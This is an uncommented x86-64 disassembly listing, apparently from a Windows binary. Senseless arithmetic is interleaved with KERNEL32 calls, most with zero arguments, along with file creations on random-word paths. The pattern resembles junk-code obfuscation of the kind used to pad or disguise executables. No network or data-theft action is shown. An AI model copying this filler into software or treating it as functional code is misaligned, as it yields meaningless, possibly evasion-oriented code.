movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x99a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
or eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc9c]
xor eax, ecx
mov rcx, qword [rsp + 0x9ef0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xacb0], rax
mov rax, qword [rsp + 0x93e0]
mov rax, qword [rax]
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0xa0c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xade8]
mov qword [rsp + 0xaef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaef8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa618]
mov dword [rcx], eax
mov dword [rsp + 0x2a4e0], 0x94
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x453c], eax
mov r9d, 2
lea r8, [rsp + 0xae78]
mov rdx, qword [rsp + 0xaf00]
mov rcx, qword [rsp + 0x9970]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x47dc], eax
mov eax, dword [rsp + 0x43a8]
mov dword [rsp + 0x485c], eax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x9c68]
mov qword [rsp + 0xaf08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf08]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xae10]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0xbd]
and eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0xae50]
movzx eax, word [rax]
mov word [0x1401e7770], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov r9d, 0x1b1d
xor r8d, r8d
lea rdx, [rsp + 0x9158]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4840], eax
lea rcx, [rsp + 0x2a300]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4860], eax
mov r9d, 1
lea r8, [rsp + 0x96e0]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4738], eax
lea rax, [rsp + 0xb60]
mov qword [rsp + 0xaf10], rax
movsx eax, byte [rsp + 0x9a]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov byte [rsp + 0x107], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401e7628]
movzx eax, byte [rax]
mov byte [rsp + 0x10a], al
mov eax, dword [rsp + 0x47c0]
mov ecx, dword [rsp + 0x46e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4388], eax
mov rax, qword [rsp + 0xae30]
mov qword [rsp + 0xaf18], rax
mov rax, qword [rsp + 0xa828]
mov rcx, qword [rsp + 0x92c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9418], rax
movzx eax, word [rsp + 0xd90]
mov word [rsp + 0xf2c], ax
movzx eax, word [rsp + 0xda0]
movzx ecx, word [rsp + 0xbf8]
add eax, ecx
mov rcx, qword [0x1401e7768]
mov word [rcx], ax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov rcx, qword [rsp + 0xaec0]
mov byte [rcx], al
lea rax, [rsp + 0xdc]
mov qword [rsp + 0xaf20], rax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4414], eax
movzx eax, byte [0x1401e6052]
mov rcx, qword [rsp + 0x97b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x98d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa730]
mov rcx, qword [rsp + 0xad58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
lea rax, [rsp + 0x45c8]
mov qword [rsp + 0xaf28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0x9ba0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9518]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x462c]
mov dword [rsp + 0x4864], eax
mov rax, qword [rsp + 0xa0e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa650]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x93a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce8]
xor eax, ecx
mov word [0x1401e6050], ax
mov rax, qword [rsp + 0xa960]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x92e8]
mov byte [rcx], al
mov rax, qword [0x1401e75c8]
movzx eax, byte [rax]
mov byte [rsp + 0x10b], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movsx eax, word [rsp + 0xb64]
movsx ecx, word [rsp + 0xb68]
shl eax, cl
mov word [rsp + 0xe98], ax
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x9308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9160]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0xa2d0]
mov rcx, qword [rsp + 0x9bb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9908], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:Lobbies_resolventSupersedingStewardshipinjudiciously
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaf30], rax
mov eax, dword [rsp + 0x4848]
mov dword [rsp + 0x4868], eax
mov rax, qword [rsp + 0x9a30]
mov ecx, dword [rsp + 0x45c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x95b8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd1c]
mov rcx, qword [rsp + 0xac78]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e60d4], ax
lea rax, [rsp + 0x6c]
mov qword [rsp + 0xaf38], rax
mov rax, qword [rsp + 0x9570]
movsx eax, word [rax]
movsx ecx, word [0x1401e76f0]
sub eax, ecx
mov word [rsp + 0xcd0], ax
lea rax, [rsp + 0xef4]
mov qword [rsp + 0xaf40], rax
movzx eax, byte [rsp + 0xa6]
mov rcx, qword [rsp + 0xa270]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0xa218]
mov rcx, qword [rsp + 0xa4e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa598], rax
mov eax, dword [rsp + 0x45d4]
mov dword [rsp + 0x486c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xaa40]
mov rcx, qword [rsp + 0xa048]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4730], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rax, [0x1401e7410]
mov qword [rsp + 0xaf48], rax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0xe98]
and eax, ecx
mov word [0x1401e6040], ax
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0xa7d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa740]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa720]
mov word [rcx], ax
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
mov byte [rsp + 0x10d], al
movsx eax, byte [rsp + 0x66]
movsx ecx, byte [rsp + 0x80]
xor eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x9090]
mov rax, qword [rax]
mov qword [rsp + 0xaf50], rax
mov eax, dword [rsp + 0x463c]
mov ecx, dword [rsp + 0x4800]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4624], eax
mov edx, 0x1af95a
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4870], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4540], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rcx, qword [rsp + 0xaf30]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x41b4], eax
mov eax, dword [rsp + 0x4370]
mov rcx, qword [rsp + 0xa320]
mov qword [rsp + 0xaf58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4670], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:_favoursFluor_substances
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaf60], rax
lea rax, [rsp + 0xa2b8]
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0x9fc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc2c]
sar eax, cl
mov word [0x1401e60d8], ax
movzx eax, byte [rsp + 0xa0]
movzx ecx, byte [0x1401e601e]
add eax, ecx
mov byte [rsp + 0xbc], al
movzx eax, word [rsp + 0xd48]
mov word [rsp + 0xf30], ax
movsx eax, byte [rsp + 0x109]
movsx ecx, byte [rsp + 0xe3]
and eax, ecx
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x43a0], eax
movsx eax, byte [rsp + 0xdd]
movsx ecx, byte [0x1401e746d]
add eax, ecx
mov byte [rsp + 0x105], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0x44cc]
mov qword [rsp + 0xaf70], rax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4784]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4874], eax
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0xa2c8]
mov qword [rsp + 0xaf78], rax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0x9850]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa958]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc4c]
movsx ecx, word [rsp + 0xe04]
add eax, ecx
mov word [0x1401e6060], ax
lea rax, [0x1401e605f]
mov qword [rsp + 0xaf80], rax
movzx eax, word [rsp + 0xd0c]
movzx ecx, word [rsp + 0xda8]
sub eax, ecx
mov rcx, qword [rsp + 0x9b20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [0x1401e60b4]
mov word [rsp + 0xf34], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xaf70]
mov rcx, qword [rsp + 0x9f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46ec], eax
lea rax, [rsp + 0x94f0]
mov qword [rsp + 0xaf88], rax
lea rcx, str.hurtling_benefactress_condescended_funnelled_malice
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf38], ax
mov eax, dword [rsp + 0x4370]
imul eax, dword [0x1401e6014]
mov dword [rsp + 0x44dc], eax
mov rax, qword [rsp + 0x9bc8]
mov rcx, qword [rsp + 0xaef0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa378], rax
mov edx, 0x76f8c
mov rcx, qword [rsp + 0x97c8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4750], eax
movzx eax, byte [rsp + 0xf5]
mov byte [0x1401e7496], al
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x43fc], eax
movzx eax, word [rsp + 0xc60]
mov word [rsp + 0xf3c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:leasepasteurisationmaggots
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xaf90], rax
lea rcx, [rsp + 0x254a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [rsp + 0xf2]
mov rcx, qword [rsp + 0x9bf8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0xaf38]
movzx eax, byte [rax]
mov byte [rsp + 0x10e], al
movzx eax, byte [rsp + 0xee]
mov rcx, qword [0x1401e7480]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa008]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov eax, dword [rsp + 0x44b0]
mov ecx, dword [rsp + 0x47ec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4624], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rcx, [rsp + 0x8db0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9b30]
mov qword [rsp + 0xaf98], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xa500]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac30]
mov qword [rsp + 0xafa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafa0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa848], rax
mov rax, qword [rsp + 0x9a20]
mov eax, dword [rax]
mov dword [rsp + 0x4878], eax
movzx eax, word [rsp + 0xe34]
mov rcx, qword [rsp + 0xac78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e606c], ax
mov rax, qword [rsp + 0x9b50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
sub eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8b]
and eax, ecx
mov rcx, qword [rsp + 0xa550]
mov byte [rcx], al
mov rax, qword [rsp + 0x97e0]
movzx eax, byte [rax]
mov byte [rsp + 0x10f], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x9d40]
movzx eax, word [rax]
movzx ecx, word [0x1401e6034]
imul eax, ecx
mov word [rsp + 0xe6c], ax
lea rax, [rsp + 0x46cc]
mov qword [rsp + 0xafa8], rax
mov eax, dword [rsp + 0x4844]
mov ecx, dword [rsp + 0x43a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x473c], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xafb0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0xa218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa730]
mov qword [rcx], rax
lea rax, [rsp + 0xcf8]
mov qword [0x1401e7778], rax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4830], eax
movsx eax, byte [rsp + 0x54]
movsx ecx, byte [0x1401e602b]
add eax, ecx
mov byte [rsp + 0xb4], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xdf8]
mov word [rsp + 0xf40], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4368], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 1
xor r8d, r8d
mov edx, 0x985d
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478c], eax
mov rax, qword [rsp + 0x9eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe00]
sub eax, ecx
mov word [rsp + 0xe90], ax
lea rax, [rsp + 0x71]
mov qword [rsp + 0xafb8], rax
lea rcx, [rsp + 0x254a8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xa828]
mov rcx, qword [rsp + 0x9278]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9bd0], rax
mov eax, dword [rsp + 0x485c]
mov ecx, dword [rsp + 0x4538]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa0a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0f0]
mov qword [rsp + 0xafc0], rax
mov rax, qword [rsp + 0x9b00]
mov ecx, dword [rsp + 0x4504]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x443c], eax
movzx eax, word [rsp + 0xde8]
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x9468]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
add eax, ecx
mov byte [0x1401e606a], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movzx eax, word [rsp + 0xec4]
movzx ecx, word [rsp + 0xcc0]
xor eax, ecx
mov rcx, qword [rsp + 0x96b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xafb8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xac], al
lea rax, [0x1401e6012]
mov qword [rsp + 0xafc8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x483c]
mov rcx, qword [rsp + 0xa470]
mov qword [rsp + 0xafd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x44c8], eax
mov rax, qword [rsp + 0xac20]
mov eax, dword [rax]
mov dword [rsp + 0x487c], eax
mov rax, qword [0x1401e6020]
mov rcx, qword [rsp + 0xaf98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f88], rax
mov rax, qword [rsp + 0x9ef8]
mov rax, qword [rax]
mov qword [rsp + 0xafd8], rax
movzx ecx, word [rsp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0xa5d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
and eax, ecx
mov rcx, qword [rsp + 0x94b0]
mov byte [rcx], al
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0xe68]
movsx ecx, word [0x1401e607c]
sub eax, ecx
mov rcx, qword [0x1401e7540]
mov word [rcx], ax
mov edx, 0x5f
mov rcx, qword [rsp + 0x9b48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4880], eax
mov rax, qword [rsp + 0xacc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa790]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x95], al
lea rax, [rsp + 0xd44]
mov qword [rsp + 0xafe0], rax
movsx eax, byte [rsp + 0x8f]
mov rcx, qword [0x1401e7448]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd8], al
lea rdx, [rsp + 0x28148]
mov rcx, qword [rsp + 0xa7c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x46e8], eax
lea rax, [rsp + 0xa628]
mov qword [rsp + 0xafe8], rax
mov eax, dword [rsp + 0x4600]
mov ecx, dword [rsp + 0x44e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4678], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0xaa10]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xac98]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xaff0], rax
lea rcx, [rsp + 0x254d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rax, [rsp + 0x474c]
mov qword [rsp + 0xaff8], rax
movzx eax, byte [rsp + 0x10f]
mov rcx, qword [rsp + 0x9930]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa230]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa260]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9c90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7450]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xb000], rax
movzx eax, word [rsp + 0xc34]
mov rcx, qword [rsp + 0xa040]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xebc], ax
movsx eax, word [rsp + 0xd8c]
mov rcx, qword [rsp + 0xa280]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa678]
mov word [rcx], ax
lea rax, [rsp + 0x44dc]
mov qword [rsp + 0xb008], rax
lea rcx, str.Expediting_musters_Gnawed
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xe7c], ax
mov rax, qword [rsp + 0xa510]
mov rcx, qword [rsp + 0x95d0]
mov qword [rsp + 0xb010], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb010]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaa58], rax
lea rax, section..data
mov qword [rsp + 0xb018], rax
mov rax, qword [rsp + 0xa730]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa430]
shl rax, cl
mov rcx, qword [rsp + 0xaf88]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xa508]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb5]
xor eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0xf00]
mov qword [0x1401e7780], rax
lea rax, [rsp + 0xe38]
mov qword [rsp + 0xb020], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x98c
mov r8d, 0x2c30
mov edx, 0x1d
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x46dc], eax
mov rax, qword [rsp + 0xa038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa1c8]
mov byte [rcx], al
lea rax, [0x1401e60d0]
mov qword [rsp + 0xb028], rax
movzx eax, word [rsp + 0xdf8]
mov rcx, qword [rsp + 0x9ff8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9060]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x90f0]
mov eax, dword [rax]
mov dword [rsp + 0x4884], eax
mov eax, dword [rsp + 0x46f8]
mov ecx, dword [rsp + 0x4474]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d70]
mov rcx, qword [rsp + 0xab90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x96d8], rax
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0xb030], rax
mov rax, qword [rsp + 0xabe8]
movsx eax, word [rax]
movsx ecx, word [0x1401e60a8]
add eax, ecx
mov rcx, qword [0x1401e76f8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xa5d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa148]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaab8]
mov byte [rcx], al
lea rax, [rsp + 0x108]
mov qword [rsp + 0xb038], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7a01
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0xa7e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe38]
and eax, ecx
mov word [rsp + 0xf1c], ax
movzx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0xad40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd3c], ax
mov eax, dword [rsp + 0x463c]
mov dword [rsp + 0x4888], eax
mov eax, dword [rsp + 0x4484]
mov ecx, dword [0x1401e6018]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9230]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xabf0]
mov qword [rsp + 0xb040], rax
mov rax, qword [rsp + 0x95d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9680], rax
lea rcx, [rsp + 0x2a260]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4510], eax
mov ecx, reloc.COMCTL32.dll_MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x44d8], eax
movzx eax, byte [rsp + 0xa0]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov byte [0x1401e606b], al
movzx eax, word [rsp + 0xd0c]
movzx ecx, word [rsp + 0xec8]
xor eax, ecx
mov word [rsp + 0xcc4], ax
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x8a]
mov qword [rsp + 0xb048], rax
mov rcx, qword [rsp + 0xad60]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x46dc], eax
mov rax, qword [0x1401e76d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f30]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf2c], ax
